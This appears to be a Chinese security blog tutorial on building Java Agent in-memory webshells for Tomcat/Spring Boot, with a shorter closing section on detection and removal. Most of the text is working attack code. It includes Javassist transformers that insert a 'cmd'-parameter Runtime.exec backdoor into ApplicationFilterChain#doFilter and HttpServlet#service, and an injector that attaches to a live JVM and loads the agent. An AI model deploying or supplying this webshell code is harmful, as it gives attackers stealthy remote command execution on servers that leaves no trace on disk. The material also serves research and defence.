Java Agent内存马实现与检测

简介

Java Agent是Java虚拟机提供的一种机制,允许在程序运行时动态地修改或增强Java应用程序的行为。Java Agent通常使用Java Instrumentation API实现,可以在Java应用程序启动时通过命令行参数或其他方式加载。
将Java Agent与内存马结合使用,可以实现一种比传统的内存马更难以检测和防御的攻击方式。具体来说,攻击者可以编写一个Java Agent程序,利用Java Instrumentation API动态地修改Java应用程序的字节码,将恶意代码插入到应用程序中,并在应用程序运行时执行恶意代码。由于恶意代码直接在内存中执行,不会在磁盘上留下痕迹,因此很难被传统的防御机制检测和防御。
平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的,如idea的动态调试、alibaba的诊断利器Arthas等

Java Agent

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
  2. 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

    premain 实例

    Java_Agent_premain.java,premain方法,参数包含Instrumentation
    1
    2
    3
    4
    5
    6
    7
    public class Java_Agent_premain {
    public static void premain(String args, Instrumentation inst) {
    for (int i =0 ; i<10 ; i++){
    System.out.println("调用了premain-Agent!");
    }
    }
    }
    在resources下创建META-INF/MANIFEST.MF
    最后需多一个换行,MANIFEST.MF是一个jar都包含的文件,用于指定jar文件的主类入口和其他属性,这里主要是指定premain类文件
    1
    2
    3
    Manifest-Version: 1.0
    Premain-Class: org.example.Java_Agent_premain

    主方法
    1
    2
    3
    4
    5
    6
    public class Hello {
    public static void main(String[] args) {
    System.out.println("Hello World!");
    }

    }
    打包项目为jar包:将会输出到out文件夹中
    image.png
    因为premain是在JVM启动时加载,所以添加JVM启动参数

-javaagent:D:\xxxxx\JavaAgent\out\artifacts\JavaAgent_jar\JavaAgent.jar
image.png
启动Hello#main,发现是先执行premain中的代码
image.png

agent main

VirtualMachine

premain是在JVM启动前执行操作,但在实际中一个网站已经是处于启动状态,而且还需要设置JVM启动参数,这在现实中是不太可能的。
agentmain可以在JVM启动后动态修改类字节码文件。
在VirtualMachine(位于tools.jar中,需要导入到lib)中,定义了一些对JVM操作的一些方法

1
2
3
4
5
6
7
8
9
10
11
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()

image.png

VirtualMachineDescriptor

com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。
image.png

Instrumentation

Instrumentation是JVMTIAgent(JVM Tool Interface Agent)的一部分。Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果,例如getAllLoadedClasses获取加载的所有类、addTransformer添加transformer用于改变原有类方法等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public interface Instrumentation {

//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

//判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

//获取一个对象的大小
long getObjectSize(Object objectToSize);

}

ClassFileTransformer

转换类文件,该接口下只有一个方法:transform,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在java agent内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与addTransformer搭配使用。

1
2
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

image.png

agentmain 实例

主方法:

1
2
3
4
5
6
7
8
9
10
11
12
public class Hello_Sleep {
public static void main(String[] args) throws InterruptedException {
while(true) {
hello();
sleep(3000);
}
}
public static void hello(){
System.out.println("Hello World!");
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Hello_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
//javasist生成类文件
ClassPool pool = ClassPool.getDefault();
if(classBeingRedefined != null){
ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
pool.insertClassPath(classClassPath);
}
try {
CtClass ctClass = pool.get("org.example.Sleep_Hello");
CtMethod helle = ctClass.getDeclaredMethod("Hello");
//更改原有Hello方法逻辑
helle.setBody("{System.out.println(\"Hello Hacker!\");}");
// ctClass.addMethod(helle);
byte[] bytecode = ctClass.toBytecode();
return bytecode;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class AgentMain_Transform {
public static void agentmain(String args, Instrumentation instrumentation) throws Exception{
Class[] classes = instrumentation.getAllLoadedClasses();
//加载所有类,匹配需要更改的类
for (Class aClass : classes) {
String name = aClass.getName();
if(name.contains("Sleep_Hello")){
instrumentation.addTransformer(new Hello_Transform(),true);//字节形式addtransformer
instrumentation.retransformClasses(aClass);//重新转换该类,即更新为恶意类文件
}
}
}
}

/META-INF/MANIFEST.MF
**注意需要添加两个true **才能更改成功

1
2
3
4
5
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: org.example.AgentMain_Transform

打成jar包(注意需要将tools.jar和javasist加入),最后利用VirtualMachine捕获到进程再attach连接并加载jar包到JVM中运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws Exception{
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor descriptor : list) {
if(descriptor.displayName().contains("Sleep_Hello")){//捕获启动进程,并与JVM建立连接
VirtualMachine attach = VirtualMachine.attach(descriptor.id());
attach.loadAgent("out\\artifacts\\JavaAgent_jar\\JavaAgent.jar");//加载jar包,注入agent
attach.detach();
}
}
}
}

先执行Sleep_Hello,在执行Inject_Agent注入agent
image.png

Java Agent 内存马

注入位置

以springboot项目实现,与Tomcat内存马实现一致,首先明确内存马的注入位置
随便写个controller路由,此处断点,查看运行到此方法经过那些调用:
image.png
看调用栈可以发现多次调用ApplicationFilterChain#doFilter和internalDoFilter,跟进doFilter
image.png
doFilter的作用就是调用internalDoFilter,且他的参数为有很大用处的ServletRequest和ServletResponse
image.png
其实就是之前分析tomcat的doFilter逻辑,chain责任链机制,一步一步调用doFilter(但也因为这个原因会导致注入内存马后执行多次命令),直到最后到servlet.service结束。
image.png
所以,就可以拿doFilter方法作为我们注入恶意代码的地方,并且该方法具备request和response,可以很好的控制输入输出。

注入内存马

其他地方变化不大,主要改一下transform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.example.javaagent_shell;

import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Filter_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
ClassPool pool = ClassPool.getDefault();
if(classBeingRedefined != null){
ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
pool.insertClassPath(classClassPath);
}
try {
CtClass ctClass = pool.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod doFilter = ctClass.getDeclaredMethod("doFilter");
String body = "javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}";
// doFilter.setBody(body);
doFilter.insertBefore(body); //避免改变原有代码逻辑使用insertBefore,方法体之前插入恶意代码
byte[] bytecode = ctClass.toBytecode();
return bytecode;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}

image.png
然而在doFilter的位置注入内存马有个问题,就是发现在弹计算器时会弹出5个计算器,这显然是不正常且不优雅的,而后面在查看整个调用链时发现调用了多次doFilter,且联想到之前在分析Tomcat的filter时提到的责任链机制,会在这个地方循环调用内存中的filter,因此对应的命令执行也被执行了多次。
image.png

针对这个问题直接选择其他注入点即可,hook到其他必经之处且存在对应的request、response对象参数的地方。主要的利用点还是之前实现的tomcat的几大类型内存马位置,如org.apache.catalina.core.StandardWrapperValve#invokejavax.servlet.http.HttpServlet#service,实现org.apache.catalina.core.StandardWrapperValve#invoke的注入相对来说是最简单的,只需要将上面的doFilter改为invoke,对应的类改为StandardWrapperValve即可,其他地方不变便可解决上面的问题。在冰蝎3.0中则是选择在HttpServlet#service中注入,但是有个坑点是:HttpServlet下存在两个service方法,在使用javasist获取他的方法时不能直接以service名简单获取,会直接抛出赋值时错误
image.png
image.png
因为两个同名方法各自的参数及类型和访问修饰符是不同的(public与protected),因此需要针对这两点做判断:
给出service修改访问修饰符的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class Filter_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
ClassPool pool = ClassPool.getDefault();
if(classBeingRedefined != null){
ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
pool.insertClassPath(classClassPath);
}
try {
CtClass ctClass = pool.get("javax.servlet.http.HttpServlet");
CtMethod[] methods = ctClass.getDeclaredMethods("service"); //获取到两个service
CtMethod publicMethod = null;
for (CtMethod method : methods) {
//判断修饰符,我们只要public就好
if (Modifier.isPublic(method.getModifiers())) {
publicMethod = method;
}
}
String body = "javax.servlet.http.HttpServletRequest request = req;\n" +
"javax.servlet.http.HttpServletResponse response = res;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}";
publicMethod.insertBefore(body);
byte[] bytecode = ctClass.toBytecode();
return bytecode;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}

检测和清除

参考:https://mp.weixin.qq.com/s/Whta6akjaZamc3nOY1Tvxg
在JDK的/lib文件夹下提供了sa-jdi.jar,其中包含多个接口,用于分析调试程序和JVM,这里用到的就是HSDB。
启动:java -cp sa-jdi.jar sun.jvm.hotspot.HSDB
找到java对应的进程pid,与JVM attach建立连接:
Tool->Class Browser -> 搜索可能被注入agent的类
image.png
但是这样并不能完全看到每个类下方法内的具体标准代码,可以使用该项目dumpclass具体类,原理也是操作sa-jdi.jar,只是更加方便。
命令:java -jar .\dumpclass.jar -p 49832 *ApplicationFilterChain 即可下载该类文件分析。
当确定该类存在恶意代码时,即可做下一步的清除工作。
清除的方法实际上与注入agent的方法是一致的,原理就是文章里面提到的:如果类是在第一次加载的的时候就做了transform,那么做retransform的时候会将代码回滚到transform之后的代码 如果类是在第一次加载的的时候没有任何变化,那么做retransform的时候会将代码回滚到最原始的类文件里的字节码 如果类已经加载了,期间类可能做过多次redefine(比如被另外一个agent做过),但是接下来加载一个新的agent要求有retransform的能力了,然后对类做redefine的动作,那么retransform的时候会将代码回滚到上一个agent最后一次做redefine后的字节码。 因此,我们只要利用javasist获取到该类,在transform中不做任何操作即返回就能使该类回滚到注入之前的字节码,达到清除的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Delete_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

if(className.equals("javax.servlet.http.HttpServlet")){
ClassPool pool = ClassPool.getDefault();
try{
CtClass ctClass = pool.get("javax.servlet.http.HttpServlet");
byte[] bytecode = ctClass.toBytecode();
ctClass.detach();
System.out.printf("已还原: %s",className);
return bytecode; //直接返回,也可以与注入时一样,将类原字节码写入到service方法中setbody覆盖注入的恶意代码
} catch (Exception e) {
e.printStackTrace();
}
}
return classfileBuffer;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class AgentMain_Delete {
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
Class[] classes = instrumentation.getAllLoadedClasses();
for (Class aClass : classes) {
String name = aClass.getName();
if(name.equals("javax.servlet.http.HttpServlet")){
System.out.println("find evil_class:" + name);
instrumentation.addTransformer(new Delete_Transform(),true);
instrumentation.retransformClasses(aClass);
}
}
}
}

再次访问发现已经被删除,此时若再次注入时,则不会成功。

小结

大概流程如下
image.png

Ref

http://wjlshare.com/archives/1582
https://goodapple.top/archives/1355#leftbar_tab_catalog
https://xz.aliyun.com/t/9450
冰蝎内存马、反查杀https://xz.aliyun.com/t/11003#toc-12
https://blog.csdn.net/HBohan/article/details/123133493?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-123133493-blog-116262712.235%5Ev36%5Epc_relevant_default_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-123133493-blog-116262712.235%5Ev36%5Epc_relevant_default_base&utm_relevant_index=3